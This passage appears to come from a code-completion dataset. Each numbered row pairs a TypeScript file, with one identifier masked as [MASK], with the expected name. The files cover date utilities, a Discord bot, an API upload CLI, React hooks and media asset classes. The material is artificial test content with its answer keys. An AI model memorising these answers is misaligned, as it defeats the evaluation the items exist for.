    const onesResult = Array.from({ length: ones }).fill(0, 0, ones)

    return new Uint8Array([...onesResult, ...validOutput] as number[])
  }

  return new Uint8Array(validOutput)
}
",notZeroData
973,"// src/lib/dateUtils.ts
import { eachDayOfInterval, isSameDay, isWeekend, addDays, startOfDay } from 'date-fns';

// Fungsi ini membutuhkan daftar hari libur sebagai argumen
export function calculateWorkingDaysBetween(start: Date, end: Date, holidays: Date[]): number {
  if (start > end) return 0;
  let count = 0;
  eachDayOfInterval({ start, end }).forEach(day => {
      const isPublicHoliday = holidays.some(h => isSameDay(h, day));
      if (!isWeekend(day) && !isPublicHoliday) count++;
  });
  return count;
};

// Fungsi ini juga membutuhkan hari libur
export function addWorkingDays( [MASK] : Date, workdays: number, holidays: Date[]): Date {
  let deadline = startOfDay(new Date( [MASK] ));
  if (workdays <= 0) return deadline;
  let daysCounted = 0;
  while (daysCounted < workdays) {
    const isPublicHoliday = holidays.some(h => isSameDay(h, deadline));
    if (!isWeekend(deadline) && !isPublicHoliday) {
      daysCounted++;
    }
    if (daysCounted < workdays) {
      deadline = addDays(deadline, 1);
    }
  }
  return deadline;
}",startDate
974,"import {
    MessageActionRow,
    MessageButton,
    MessageComponentInteraction,
    MessageEmbed,
} from 'discord.js';
import { ICommand } from 'wokcommands';
import { ApplicationCommandOptionTypes } from 'discord.js/typings/enums';
import accountDB from '../../../db/accountdb';
import discordDB from '../../../db/discorddb';

export default {
    category: 'SNS',
    description: 'Create an account',
    slash: true,
    testOnly: true,
    options: [
        {
            name: 'username',
            description: 'Account username',
            required: true,
            type: ApplicationCommandOptionTypes.STRING,
        },
        {
            name: 'password',
            description: 'Account password',
            required: true,
            type: ApplicationCommandOptionTypes.STRING,
        },
    ],

    callback: async ({ interaction, channel }) => {

        if(interaction.options.getString(""username"")?.match(/^[a-z0-9]+$/i) === null) {
            const embed = new MessageEmbed()
                .setColor('#FF665B')
                .setTitle('Invalid username')
                .setDescription('Username must be alphanumeric');
            return interaction.reply({ embeds: [embed], ephemeral: true });
        }

        const resUsername = await accountDB.findOne({ username: interaction.options.getString(""username"") });

        if(resUsername) {
            const embed = new MessageEmbed()
                .setColor('#FF665B')
                .setTitle('Username already taken')
                .setDescription('Choose a different username');
            return interaction.reply({ embeds: [embed], ephemeral: true });
        }

        const  [MASK]  = new MessageEmbed()
            .setColor(""#1877f2"")
            .setTitle(""Confirm?"")
            .setDescription(
                `Username: ||\`\`${interaction.options.getString('username')}\`\`||
                Password: ||\`\`${interaction.options.getString('password')}\`\`||`
            )
            .setFooter(""You can't change your username after joining."");

        const row = new MessageActionRow()
            .addComponents(
                new MessageButton()
                    .setCustomId('yes')
                    .setLabel('Yes')
                    .setStyle('SUCCESS'),
            )
            .addComponents(
                new MessageButton()
                    .setCustomId('no')
                    .setLabel('No')
                    .setStyle('DANGER'),
            );

        interaction.reply({
            embeds: [ [MASK] ],
            components: [row],
            ephemeral: true,
        });

        const filter = (btnInt: MessageComponentInteraction) => {
            return interaction.user.id === btnInt.user.id;
        };

        const collector = channel.createMessageComponentCollector({
            filter,
            max: 1,
            time: 1000 * 10,
        });

        collector.on('collect', (i: MessageComponentInteraction) => {
            if (i.customId === 'yes') {
                setTimeout(async () => {
                    await new accountDB({
                        userID: interaction.user.id,
                        created: interaction.createdAt,
                        username: interaction.options.getString('username'),
                        displayname: interaction.options.getString('username'),
                        password: <PASSWORD>('<PASSWORD>'),
                        login: false,
                        description: """",
                        friend: [],
                        follower: [],
                        following: [],
                    }).save();

                    if (!(await discordDB.findOne({ userID: interaction.user.id }))) {
                        await new discordDB({
                            userID: `${interaction.user.id}`,
                            currentAccount: null,
                        }).save();
                    }
                }, 1000);

                const yesembed = new MessageEmbed()
                    .setColor('#1877f2')
                    .setTitle('Joined!')
                    .setDescription('Use ``/login`` command to log in');

                i.update({
                    embeds: [yesembed],
                    components: [],
                });
            } else {
                const noembed = new MessageEmbed()
                    .setColor('#FF665B')
                    .setTitle('Cancelled');

                i.update({
                    embeds: [noembed],
                    components: [],
                });
            }
        });

        collector.on('end', async collection => {
            if (collection.first()?.customId === undefined) {
                const timeoutembed = new MessageEmbed()
                    .setColor('#FF665B')
                    .setTitle('Timeout')
                    .setDescription('Please try again.');
                await interaction.editReply({
                    embeds: [timeoutembed],
                    components: [],
                });
            }
        });
    },
} as ICommand;
",confirm
975,"import * as path from 'path';

import { Configuration, ServiceDocsApi } from 'msadoc-client';
import { firstValueFrom } from 'rxjs';
import { AjaxConfig } from 'rxjs/ajax';

import { readFile } from '../utils/fs';
import { logErrorMessage, logSuccessMessage } from '../utils/log';

export async function handleUploadCommand(params: {
  filePath: string;
  serverUrl: string;
  apiKey: string;
}): Promise<void> {
  const serviceDoc = await loadServiceDoc(params.filePath);

  const configuration = createConfiguration({
    apiKey: params.apiKey,
    serverUrl: params.serverUrl,
  });

  try {
    await firstValueFrom(
      new ServiceDocsApi(configuration).serviceDocsControllerCreateServiceDoc({
        // We don't check the structure of the JSON document. The server should reject invalid payloads.
        // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment, @typescript-eslint/no-explicit-any
        createServiceDocRequest: serviceDoc as any,
      }),
    );
  } catch (error) {
    const status = getErrorStatus(error);

    const errorMessages = ['Failed to upload the Service Doc.'];

    if (status === 401) {
      errorMessages.push('It seems like the API Key is invalid.');
    }

    logErrorMessage(errorMessages.join(' '));

    process.exit(1);
  }

  logSuccessMessage('The Service Doc has been uploaded successfully.');
}

/**
 * Get the Service Doc found at the given file path.
 *
 * If something goes wrong (e.g. the file does not exist), this function will call `process.exit()`.
 */
async function loadServiceDoc(filePath: string): Promise<object> {
  const fullPath = path.join(process.cwd(), filePath);

  const fileReadingResult = await readFile(fullPath);
  if (!fileReadingResult.success) {
    if (fileReadingResult.error.code === 'ENOENT') {
      logErrorMessage('Unable to find the specified Service Doc file.');
    } else {
      logErrorMessage(
        'Something went wrong trying to read the specified Service Doc file',
      );
    }

    process.exit(1);
  }

  let parsedFileContent: object;
  try {
    const parserResult = JSON.parse(fileReadingResult.data) as unknown;
    if (parserResult == null || typeof parserResult !== 'object') {
      throw Error();
    }

    parsedFileContent = parserResult;
  } catch {
    logErrorMessage('The file does not seem to contain valid JSON');

    process.exit(1);
  }

  return parsedFileContent;
}

function createConfiguration(params: {
  apiKey: string;
  serverUrl: string;
}): Configuration {
  return new Configuration({
    basePath: params.serverUrl,

    /*
      The generated client is not capable of adding the ""authorization: Bearer <API Key>"" header. 
      Thus, we add a custom Middleware to it in order to manually add this header.
    */
    middleware: [
      {
        pre: (requestConfig: AjaxConfig): AjaxConfig => {
          const  [MASK]  = { ...requestConfig };

          const bearer = `Bearer ${params.apiKey}`;
           [MASK] .headers = {
            ... [MASK] .headers,
            authorization: bearer,
          };

          return  [MASK] ;
        },
      },
    ],
  });
}

/**
 * A helper function to get the ""status"" field of an error object returned when a http request fails.
 */
function getErrorStatus(error: unknown): number | undefined {
  if (typeof error !== 'object' || error == null) {
    return undefined;
  }

  // eslint-disable-next-line @typescript-eslint/no-unsafe-member-access, @typescript-eslint/no-explicit-any, @typescript-eslint/no-unsafe-assignment
  const status = (error as any).status;

  if (typeof status !== 'number') {
    return undefined;
  }
  return status;
}
",newRequestConfig
976,"import { useAtom, useAtomValue, useSetAtom } from 'jotai';
import { dateToUnix, useNostrEvents } from 'nostr-react';
import { useEffect, useRef } from 'react';

import { defaultFilter } from '@/constants/defaultValues';
import { Filter } from '@/interfaces/nostr/filter';
import { Post } from '@/interfaces/posts/post';
import { authorsAtom, filterAtom, postsAtom, tagsAtom } from '@/state/nostr';

type Props = {
  filter?: Filter;
};

export const useGetPosts = ({ filter = defaultFilter }: Props) => {
  const [posts, setPosts] = useAtom(postsAtom);
  const setTags = useSetAtom(tagsAtom);
  const setFilter = useSetAtom(filterAtom);
  const authors: string[] = useAtomValue(authorsAtom);
  const  [MASK]  = useRef(new Date());
  const event: any = {
    filter: {
      authors,
      until: dateToUnix( [MASK] .current),
      kinds: [30023],
      limit: 10,
    },
  };
  setFilter(filter);

  if (filter?.type) {
    let type = '';
    switch (filter.type) {
      case 'tag':
        type = '#t';
        event.filter[type] = [filter.value];
        break;
      case 'author':
        type = 'authors';
        event.filter[type] = [filter.value];
        break;
      case 'post':
        type = 'ids';
        event.filter[type] = [filter.value];
        break;
      case 'slug':
        type = '#d';
        event.filter[type] = [filter.value];
        break;
      default:
        break;
    }
  }

  const { events, isLoading } = useNostrEvents(event);
  const eventsString = JSON.stringify(events);

  useEffect(() => {
    const data: Post[] = [];
    let list: string[] = [];

    events.forEach((event) => {
      const title = event.tags.filter((tag) => tag[0] === 'title');
      const image = event.tags.filter((tag) => tag[0] === 'image');
      const publishedAt = event.tags.filter((tag) => tag[0] === 'published_at');
      const slug = event.tags.filter((tag) => tag[0] === 'd');
      const tags = event.tags.filter((tag) => tag[0] === 't');
      const aRefs = event.tags.filter((tag) => tag[0] === 'a');
      const eRefs = event.tags.filter((tag) => tag[0] === 'e');
      const pRefs = event.tags.filter((tag) => tag[0] === 'p');
      const summary = event.tags.filter((tag) => tag[0] === 'summary');
      list = [...list, ...tags.map((tag) => tag[1].toLowerCase())];

      data.push({
        id: event.id,
        title: title[0][1],
        content: event.content,
        image: image.length ? image[0][1] : '',
        author: event.pubkey,
        slug: slug.length ? slug[0][1] : event.id,
        published_at: publishedAt.length ? parseInt(publishedAt[0][1]) : 0,
        tags: tags.map((tag) => tag[1].toLowerCase()),
        summary: summary.length ? summary[0][1] : '',
        aRefs: aRefs.map((aRef) => {
          return { pos: parseInt(aRef[2]), value: aRef[1].toLowerCase() };
        }),
        eRefs: eRefs.map((eRef) => {
          return { pos: parseInt(eRef[2]), value: eRef[1].toLowerCase() };
        }),
        pRefs: pRefs.map((pRef) => {
          return { pos: parseInt(pRef[2]), value: pRef[1].toLowerCase() };
        }),
      });
    });

    setTags(list.filter((item, index) => list.indexOf(item) === index));

    if (!isLoading) {
      setPosts(data);
    }

    // eslint-disable-next-line react-hooks/exhaustive-deps
  }, [eventsString, filter.value, isLoading]);

  return { posts, isLoading };
};
",now
977,"// Copyright 2018-2020 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the ""License"");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//      http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an ""AS IS"" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
import { readFileSync } from 'fs';
import { Transform, TransformOptions } from 'stream';

/** get the server address from host, port, and schema (defaults to 'http'). */
export function getAddress({
  host,
  port,
  namespace,
  schema = 'http',
}: {
  host: string;
  port?: string | number;
  namespace?: string;
  schema?: string;
}) {
  namespace = namespace ? `.${namespace}` : '';
  port = port ? `:${port}` : '';
  return `${schema}://${host}${namespace}${port}`;
}

export function equalArrays(a1: any[], a2: any[]): boolean {
  if (!Array.isArray(a1) || !Array.isArray(a2) || a1.length !== a2.length) {
    return false;
  }
  return JSON.stringify(a1) === JSON.stringify(a2);
}

export function generateRandomString(length: number): string {
  let d = new Date().getTime();
  function randomChar(): string {
    const r = Math.trunc((d + Math.random() * 16) % 16);
    d = Math.floor(d / 16);
    return r.toString(16);
  }
  let str = '';
  for (let i = 0; i < length; ++i) {
    str += randomChar();
  }
  return str;
}

export function loadJSON<T>( [MASK] ?: string, defaultValue?: T): T | undefined {
  if (! [MASK] ) {
    return defaultValue;
  }
  try {
    return JSON.parse(readFileSync( [MASK] , 'utf-8'));
  } catch (error) {
    console.error(`Failed reading json data from '${ [MASK] }':`);
    console.error(error);
    return defaultValue;
  }
}

export interface PreviewStreamOptions extends TransformOptions {
  peek: number;
}

/**
 * Transform stream that only stream the first X number of bytes.
 */
export class PreviewStream extends Transform {
  constructor({ peek, ...opts }: PreviewStreamOptions) {
    // acts like passthrough
    let transform: TransformOptions['transform'] = (chunk, _encoding, callback) =>
      callback(undefined, chunk);
    // implements preview - peek must be positive number
    if (peek && peek > 0) {
      let size = 0;
      transform = (chunk, _encoding, callback) => {
        const delta = peek - size;
        size += chunk.length;
        if (size >= peek) {
          callback(undefined, chunk.slice(0, delta));
          this.resume(); // do not handle any subsequent data
          return;
        }
        callback(undefined, chunk);
      };
    }
    super({ ...opts, transform });
  }
}
",filepath
978,"import { Injectable, Injector, Type } from '@angular/core';
import { FormBuilder, FormGroup, FormArray, Validators } from '@angular/forms';

import { InjetorEstaticoService } from '../comum/servico/injetor-estatico.service';

@Injectable({ providedIn: 'root' })
export class CrudFormService <F, E, L> {

    private _fb: FormBuilder;

    constructor(
    ) {
        const injector: Injector = InjetorEstaticoService.injector;
        this._fb = injector.get<FormBuilder>(FormBuilder as Type<FormBuilder>);
    }

    protected get fb(): FormBuilder {
        return this._fb;
    }

    public criarForm( [MASK] : E): FormGroup {
        if (! [MASK] ) {
             [MASK]  = {} as E;
        }
        const result = this.fb.group({});
        return result;
    }

    public criarFiltro(filtro: F): FormGroup {
        if (!filtro) {
            filtro = {} as F;
        }
        const result = this.fb.group({});
        return result;
    }

    public criarLista(lista: E[] | L[]): FormArray {
        if (!lista) {
            lista = [] as E[] | L[];
        }
        const result = this.fb.array([]);
        return result;
    }

}
",entidade
979,"import * as express from 'express';
import {validate} from '../services/validation'
import {run} from '../services/exec';
import {Task} from '../models/taskModel';


export class TaskController {
    constructor() {
    }

    /**
     * Find all request
     * @param req
     * @param res
     */
    static findAll(req: express.Request, res: express.Response) {
        Task.find({})
            .then(response => res.json(response))
            .catch(error => res.json({message: error.message}));
    }

    /**
     * Create and run
     * @param req
     * @param res
     * @returns {Response}
     */
    static createAndRun(req: express.Request, res: express.Response): express.Response {
        const  [MASK]  = {
            ""type"": 'object',
            ""properties"": {
                ""title"": {type: 'string'},
                ""command"": {type: 'string'},
                ""filePath"": {type: 'string'},
                ""saveAndRun"": {type: 'boolean'}
            },
            ""required"": ['title'],
        };

        if (req.body.filePath)  [MASK] .required.push(""filePath"");
        if (req.body.command)  [MASK] .required.push(""command"");

        const error = validate(req.body,  [MASK] );
        if (!error.valid) {
            return res.json(error);
        }

        let task = new Task({
            title: req.body.title,
            command: req.body.command || '',
            filePath: req.body.filePath || ''
        });

        task.save((err, savedTask) => {
            if (err) return res.json(err.message);
            if (!req.body.saveAndRun) return res.json({task: savedTask});
            run(savedTask, (stdout, stderr) => {
                res.json({task: savedTask, stdout, stderr});
            });
        });
    }

    /**
     * Run
     * @param req
     * @param res
     * @returns {Response}
     */
    static runOne(req: express.Request, res: express.Response): express.Response {
        if (!req.params.id) return res.json({message: 'ID required'});
        const id = req.params.id;

        Task.findById(id, (err, task) => {
            if (err) return res.json({message: err.message});
            if (!task) return res.json({message: 'task not found'});
            run(task, (stdout, stderr) => res.json({task, stdout, stderr}));
        });
    }

    /**
     * Remove task
     * @param req
     * @param res
     * @returns {Response}
     */
    static remove(req: express.Request, res: express.Response): express.Response {
        if (!req.params.id) return res.json({message: 'ID required'});
        const id = req.params.id;

        Task.findOne({_id: id}).remove((err, removed) => {
            if (err) return res.json({message: err.message});
            return res.json(removed);
        });
    }
}
",schema
980,"import * as dotenv from ""dotenv"";
import fs from ""fs"";
import ora from ""ora"";
import { summerize } from ""./src/chatgpt.js"";
import { executeSequentially } from ""./src/execute-sequentially.js"";
import { splitTextByCharCount } from ""./src/split-text.js"";

dotenv.config();

(async () => {
  const inputFilePath = process.env.INPUT_FILE_PATH;
  if (inputFilePath == null) {
    throw new Error(""environmental variable INPUT_FILE_PATH is not set."");
  }
  const outputFilePath = process.env.OUTPUT_FILE_PATH;
  if (outputFilePath == null) {
    throw new Error(""environmental variable OUTPUT_FILE_PATH is not set."");
  }
  const text = fs.readFileSync(inputFilePath, ""utf-8"");

  const chunks = splitTextByCharCount(text, 3000);

  const spinner = ora().start();
  const  [MASK]  = await executeSequentially(
    chunks,
    async (chunk, i) => {
      spinner.text = `Processing ${i + 1} of ${chunks.length}...`;
      return summerize(chunk);
    },
    500
  );
  spinner.succeed(""Processing complete!"");

  fs.writeFileSync(outputFilePath,  [MASK] .join(""\n\n""), ""utf-8"");
})();
",summeries
981,"import { ChainlitAPI } from '@/api';
import { useChainlitContext } from '@/index';
import useSWRV, { type IConfig } from 'swrv';

import { useAuthState } from './auth/state';

const fetcher = async (client: ChainlitAPI, endpoint: string) => {
  const res = await client.get(endpoint);
  return res?.json();
};

const cloneClient = (client: ChainlitAPI): ChainlitAPI => {
  // Shallow clone API client.
  // TODO: Move me to core API.

  // Create new client
  const  [MASK]  = new ChainlitAPI('', 'webapp');

  // Assign old properties to new client
  Object.assign( [MASK] , client);

  return  [MASK] ;
};

/**
 * React hook for cached API data fetching using SWR (stale-while-revalidate).
 * Optimized for GET requests with automatic caching and revalidation.
 *
 * Key features:
 * - Automatic data caching and revalidation
 * - Integration with React component lifecycle
 * - Loading state management
 * - Recoil state integration for global state
 * - Memoized fetcher function to prevent unnecessary rerenders
 *
 * @param path - API endpoint path or null to disable the request
 * @param config - Optional SWR configuration
 * @returns SWR response object containing:
 *          - data: The fetched data
 *          - error: Any error that occurred
 *          - isValidating: Whether a request is in progress
 *          - mutate: Function to mutate the cached data
 *
 * @example
 * const { data, error, isValidating } = useApi<UserData>('/user');
 */
function useApi<T>(
  path?: string | null,
  { ...swrConfig }: IConfig = {}
) {
  const client = useChainlitContext();
  const { user } = useAuthState();

  const memoizedFetcher = (path: string) => {
    // TODO: Handle Error Retry
    // if (!swrConfig.onErrorRetry) {
    //   swrConfig.onErrorRetry = (...args) => {
    //     const [err] = args;

    //     // Don't do automatic retry for 401 - it just means we're not logged in (yet).
    //     if (err.status === 401) {
    //       setUser(null);
    //       return;
    //     }

    //     // Fall back to default behavior.
    //     return SWRConfig.defaultValue.onErrorRetry(...args);
    //   };
    // }

    const useApiClient = cloneClient(client);
    useApiClient.on401 = useApiClient.onError = undefined;
    return fetcher(useApiClient, path);
  }

  // Use a stable key for useSWR
  const swrKey = path ? path : null;

  return useSWRV<T, Error>(swrKey, memoizedFetcher, swrConfig);
}

function useApiWithRef<T>(path: () => string | null, { ...swrConfig }: IConfig = {}) {
  const client = useChainlitContext();
  const { user } = useAuthState();

  const memoizedFetcher = (path: string) => {
    // TODO: Handle Error Retry
    // if (!swrConfig.onErrorRetry) {
    //   swrConfig.onErrorRetry = (...args) => {
    //     const [err] = args;

    //     // Don't do automatic retry for 401 - it just means we're not logged in (yet).
    //     if (err.status === 401) {
    //       setUser(null);
    //       return;
    //     }

    //     // Fall back to default behavior.
    //     return SWRConfig.defaultValue.onErrorRetry(...args);
    //   };
    // }

    const useApiClient = cloneClient(client);
    useApiClient.on401 = useApiClient.onError = undefined;
    return fetcher(useApiClient, path);
  }

  // Use a stable key for useSWR
  const swrKey = path

  return useSWRV<T, Error>(swrKey, memoizedFetcher, swrConfig);
}

export { useApi, useApiWithRef, fetcher };
",newClient
982,"import { RealtimeClient } from ""@openai/realtime-api-beta"";

export function addToolMoveCard( [MASK] : RealtimeClient) {
     [MASK] .addTool(
        {
            name: 'move_card',
            description: 'Moves a Kanban card from one column to another.',
            parameters: {
                type: 'object',
                properties: {
                    card_id: {
                        type: 'string',
                        description: 'The id of the Kanban Card to move.',
                    },
                    column_id: {
                        type: 'string',
                        description: 'The id of the Kanban column to move the Card to. It could be ""in_progress"", ""todo"", ""done"", etc.',
                    },
                },
                required: ['card_id', 'column_id'],
            },
        },
        async ({ card_id, column_id }: { [key: string]: any }) => {
            console.log("" AGENT TOOL >>>>>>>>>> "", { card_id, column_id });
            window.parent.postMessage(
                {
                    type: ""move_card"",
                    card_id,
                    column_id,
                },
                ""*""
            );
            return { ok: true };
        }
    );
}",client
983,"import { useEffect, useRef } from ""react"";

export function asArray<T>(obj: T | T[]): T[] {
  if (Array.isArray(obj)) {
    return obj;
  } else if (obj) {
    return [obj];
  }
  return [];
}

export function randomString() {
  return (Math.random() * Math.pow(2, 54)).toString(36);
}

export function sortByKeys(a: any, b: any) {
  const  [MASK]  = a.key.toUpperCase();
  const keyB = b.key.toUpperCase();
  return  [MASK]  === keyB ? 0 :  [MASK]  > keyB ? 1 : -1;
}

export async function copyToClipboard(text: string) {
  if (""clipboard"" in navigator) {
    return await navigator.clipboard.writeText(text);
  } else {
    return document.execCommand(""copy"", true, text);
  }
}

export function usePrevious(value: any) {
  const ref = useRef();
  useEffect(() => {
    ref.current = value;
  }, [value]);
  return ref.current;
}

export function mapToApiParams(searchParams: URLSearchParams) {
  const searchParamsCopy = new URLSearchParams();
  searchParams.forEach((value: string, key: string) => {
    let newKey = key.includes(""_"") ? toCamel(key) : key;
    // special cases
    if (newKey === ""oboId"") newKey = ""curie"";
    searchParamsCopy.append(newKey, value);
  });
  return searchParamsCopy;
}

export function toCamel(str: string) {
  return str.replace(/([-_][a-z])/gi, ($1) => {
    return $1.toUpperCase().replace(""-"", """").replace(""_"", """");
  });
}


export function pickBestDisplayName(names:string[]):string|undefined {
  return sortDisplayNamesByReadability(names)[0]
}

export function pickWorstDisplayName(names:string[]):string|undefined {
  return sortDisplayNamesByReadability(names).pop()
}

export function sortDisplayNamesByReadability(names:string[]):string[] {
  return names.slice(0).sort((a, b) => readabilityScore(b) - readabilityScore(a))
}

export function readabilityScore(name:string) {
  let n = 0
  for (let c of name) {
    if (c.match(/[A-Za-z ]/)) {
      n++
    } else {
      n-=10
    }
  }
  return n
}

export function difference(a:any[], b:any[]) {
    return a.filter(x => b.indexOf(x) === -1)
}

export function joinSearchParams(a:URLSearchParams, b?:URLSearchParams):URLSearchParams {
  let res = new URLSearchParams(a.toString())
  if(b) {
    for (let p of b) {
      if(res.has(p[0])) {
        res.delete(p[0])
      }
      res.append(p[0], p[1])
    }
  }
  return res
}

",keyA
984,"import { Command, type OptionValues } from 'commander'
import BaseCommand from '@/commands/BaseCommand'
import FileController from '@/FileController'
import ImageFactory from '@/factories/ImageFactory'

const DEFAULT_IMAGE_WIDTH: number = 640
const DEFAULT_IMAGE_HEIGHT: number = 480
const DEFAULT_FPS: number = 30
const DEFAULT_DURATION: number = 2 // In seconds.
const OUTPUT_DIRECTORY: string = './rmc-output'

export default class GIFCommand extends BaseCommand {
  constructor() {
    super()
    this.command = new Command('gif')
    this.command
      .argument('<count>', 'number of images to create', this.positiveIntParser)
      .option('-w, --width <width>', 'width of the GIF', this.positiveIntParser, DEFAULT_IMAGE_WIDTH)
      .option('-h, --height <height>', 'height of the GIF', this.positiveIntParser, DEFAULT_IMAGE_HEIGHT)
      .option('-fps, --fps <fps>', 'frames per second of the GIF', this.positiveIntParser, DEFAULT_FPS)
      .option('-d, --duration <duration>', 'duration of the GIF in seconds', this.positiveIntParser, DEFAULT_DURATION)
      .action(async ( [MASK] ) => {
        const options: OptionValues = this.command.opts()
        const { width, height, fps, duration } = options

        // Create images directory.
        FileController.mkdir(OUTPUT_DIRECTORY)

        // Create image(s).
        for (let i=0; i< [MASK] ; i++) {
          const filePath = `${OUTPUT_DIRECTORY}/image-${i}.gif`
          ImageFactory.createGIF(filePath, width, height, fps, duration)
          console.log(`Created GIF at: ${filePath}`)
        }

        console.log(`Created ${ [MASK] } GIF file${ [MASK]  > 1 ? 's' : ''}.`)
      })
  }
}
",numImages
985,"import { createHash } from ""node:crypto"";
import { bench, benchSync } from ""npm:@hazae41/deimos"";
import { sha1 as nobleSha1 } from ""npm:@noble/hashes/sha1"";
import { Memory } from ""../mod.ts"";
import { initBundledOnce, sha1 } from ""../mods/mod.ts"";

await initBundledOnce()

const samples = 1000

const data = crypto.getRandomValues(new Uint8Array(4096))
const mdata = new Memory(data)

console.log(""SHA-1"")

const resultWasm = benchSync(""Morax"", () => {
  sha1(mdata).free()
}, { samples })

const resultWebCrypto = await bench(""WebCrypto"", async () => {
  await crypto.subtle.digest(""SHA-1"", data)
}, { samples })

const resultNative = benchSync(""node:crypto"", () => {
  const  [MASK]  = createHash(""sha1"")
   [MASK] .update(data)
   [MASK] .digest()
}, { samples })

const resultNoble = benchSync(""npm:@noble/hashes"", () => {
  nobleSha1(data)
}, { samples })

resultWasm.tableAndSummary(resultWebCrypto, resultNative, resultNoble)

console.log()",hasher
986,"import qs from 'qs'
import { Client } from '../client'

export interface ThBaseHandlerOptions {
  endpoint: string
  base: string
}

export interface HandlerQuery {
  uri?: string
  limit?: number
  offset?: number
  query?: any
  [key: string]: any
}

export class ThBaseHandler {
  private readonly handlerOptions: ThBaseHandlerOptions
  private readonly client: Client

  constructor (http: Client, handlerOptions: ThBaseHandlerOptions) {
    this.client = http
    this.handlerOptions = handlerOptions
  }
}

export interface ThAnalyticsBaseHandlerOptions {
  user?: string
  base?: string
}

export interface ThAnalyticsBaseResultItem {
  created_at: {
    iso: string
    unix: number
  }
  metric: {
    job: string
    user: string
    type?: string
  }
  count: number
  values: any[]
}

export interface ThAnalyticsBaseResponse {
  results: ThAnalyticsBaseResultItem[]
  status: number
  next?: string
}

export interface ThAnalyticsExportsBaseResponse {
  url: string
  filename?: string
  expires_at?: string
}

export interface ThAnalyticsSocketsExportsBaseResponse {
  correlationId?: string
}

export interface AnalyticsSocketsExportResponseItem {
  data: ThAnalyticsSocketsExportsBaseResponse[]
  metadata: Record<string, unknown>
}

export class ThAnalyticsBaseHandler {
  private readonly handlerOptions: ThAnalyticsBaseHandlerOptions
  private readonly client: Client

  constructor (http: Client, handlerOptions: ThAnalyticsBaseHandlerOptions) {
    this.client = http
    this.handlerOptions = handlerOptions
  }

  protected static generateAuthenticatedInstance<T>(
    Type: new (options: ThAnalyticsBaseHandlerOptions, http: Client) => T,
    options: ThAnalyticsBaseHandlerOptions,
    http: Client
  ): T {
    return new Type(options, http)
  }

  private static generateUriWithQuery ( [MASK] : string, query?: HandlerQuery): string {
    let uri
    if (!query) {
      uri = `${ [MASK] }`
    } else if (query.uri ?? (query.query?.uri)) {
      uri = query.uri ?? query.query.uri
    } else if (query.query) {
      const flattenedQuery = Object.assign({}, query, query.query)
      flattenedQuery.query = undefined
      uri = `${ [MASK] }${
        flattenedQuery ? qs.stringify(flattenedQuery, { addQueryPrefix: true }) : ''
      }`
    } else {
      uri = `${ [MASK] }${query ? qs.stringify(query, { addQueryPrefix: true }) : ''}`
    }
    return uri
  }

  protected async handleGet (
    url: string,
    query?: HandlerQuery,
    requestOptions?: any
  ): Promise<ThAnalyticsBaseResponse> {
    const opts = {
      method: 'GET',
      url: ThAnalyticsBaseHandler.generateUriWithQuery(url, query),
      ...requestOptions
    }
    const response = await this.client.getClient()(opts)

    return {
      status: response.status,
      next:
        response.data.cursor?.next ? response.data.cursor.next : undefined,
      results: response.data.results
    }
  }

  protected async handleExport (
    url: string,
    query?: HandlerQuery,
    requestOptions?: any
  ): Promise<ThAnalyticsExportsBaseResponse> {
    const opts = {
      method: 'GET',
      url: ThAnalyticsBaseHandler.generateUriWithQuery(url, query),
      ...requestOptions
    }
    const response = await this.client.getClient()(opts)

    return {
      ...response.data.results[0]
    }
  }

  protected async handleSocketsExport (
    url: string,
    query?: HandlerQuery,
    requestOptions?: any
  ): Promise<AnalyticsSocketsExportResponseItem> {
    const opts = {
      method: 'GET',
      url: ThAnalyticsBaseHandler.generateUriWithQuery(url, { format: 'csv', ...query }),
      ...requestOptions
    }
    const response = await this.client.getClient()(opts)

    return {
      data: response.data.results,
      metadata: response.data.metadata
    }
  }
}
",basePath
987,"import { MaxSupported } from '@/constants';
import {
  AudioAssetConfig,
  VideoAssetConfig,
  ImageAssetConfig,
  TextAssetConfig,
  TextStyleProps,
} from '@/types/config';
import { v4 as uuidv4 } from 'uuid';
import { TextStyleDefaultValues } from './config';

const validateMaxSupport = (
  duration: number,
  maxDuration: number,
   [MASK] : string
): number => {
  if (!duration) {
    return 0;
  } else if (duration > maxDuration) {
    console.log(
      `${ [MASK] }: ${duration} is greater than max supported: ${maxDuration}`
    );
  }
  return duration;
};

/**
 * The base MediaAsset class
 */
class MediaAsset {
  public assetId: string;

  constructor(assetId: string) {
    this.assetId = assetId;
  }
}

/**
 * VideoAsset class
 */
export class VideoAsset extends MediaAsset {
  public start: number;
  public end: number | null;

  /**
   * Initializes a AudioAsset instance
   * @param assetId - The id of the audio asset.
   * @param config - The configuration of the audio asset.
   * @returns A new AudioAsset instance.
   */
  constructor(assetId: string, config?: Partial<VideoAssetConfig>) {
    const { start = 0, end = null } = config || {};
    super(assetId);
    this.start = start;
    this.end = end;
  }

  toJSON() {
    return {
      assetId: this.assetId,
      start: this.start,
      end: this.end,
    };
  }
}

/**
 * AudioAsset class
 */
export class AudioAsset extends MediaAsset {
  public start: number;
  public end: number | null;
  public disableOtherTracks: boolean;
  public fadeInDuration: number;
  public fadeOutDuration: number;

  /**
   * Initializes a AudioAsset instance
   * @param assetId - The id of the audio asset.
   * @param config - The configuration of the audio asset.
   * @returns A new AudioAsset instance.
   */
  constructor(assetId: string, config?: Partial<AudioAssetConfig>) {
    const {
      start = 0,
      end = null,
      disableOtherTracks = true,
      fadeInDuration = 0,
      fadeOutDuration = 0,
    } = config || {};
    super(assetId);
    this.start = start;
    this.end = end;
    this.disableOtherTracks = disableOtherTracks;
    this.fadeInDuration = validateMaxSupport(
      fadeInDuration,
      MaxSupported.fadeDuration,
      'fadeInDuration'
    );
    this.fadeOutDuration = validateMaxSupport(
      fadeOutDuration,
      MaxSupported.fadeDuration,
      'fadeOutDuration'
    );
  }

  toJSON() {
    return {
      assetId: this.assetId,
      start: this.start,
      disableOtherTracks: this.disableOtherTracks,
      fadeInDuration: this.fadeInDuration,
      fadeOutDuration: this.fadeOutDuration,
      end: this.end,
    };
  }
}

export class ImageAsset extends MediaAsset {
  public width: number | string;
  public height: number | string;
  public x: number | string;
  public y: number | string;
  public duration: number | null;

